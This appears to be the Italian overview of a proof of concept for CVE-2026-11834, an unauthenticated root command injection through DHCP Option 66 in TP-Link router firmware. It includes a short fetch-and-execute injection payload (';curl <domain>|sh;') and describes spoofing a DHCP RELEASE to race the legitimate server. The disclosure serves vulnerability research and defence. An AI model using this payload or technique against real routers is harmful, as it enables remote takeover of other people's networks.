CVE-2026-11834 (PoC)

RCE non autenticata su DHCP Option 66 di TP-Link (CVE-2026-11834)

Panoramica

Una vulnerabilità di iniezione di comandi (CWE-78) nella gestione dell'Opzione 66 DHCP ("TFTP Server Name") del firmware dei router TP-Link consente a un attaccante non autenticato sullo stesso segmento di rete di eseguire comandi arbitrari come root. Quando il dispositivo agisce come client DHCP sull'interfaccia WAN, il valore dell'Opzione 66 restituito in un lease viene concatenato senza essere sanificato in un comando shell tftp all'interno di libcmm.so. Cinque funzioni costruiscono questo comando e lo passano a util_execSystem(), che chiama system(), quindi un valore dell'Opzione 66 appositamente predisposto viene interpretato come input di shell ed eseguito come root.

Il valore dell'Opzione 66 viene troncato a 16 caratteri sul dispositivo, quindi il payload è un minimale fetch-and-execute (;curl <domain>|sh;) che scarica un secondo stadio più grande via HTTP.

L'attaccante non ha bisogno di controllare il server DHCP. Questa PoC gareggia con il server legittimo sul segmento: spoofa un DHCP RELEASE come se fosse il target per cancellare il suo binding, attende che il target riacquisti il lease, quindi risponde alla trasmissione broadcast del target con un / malevolo che trasporta il payload prima che il server legittimo replichi.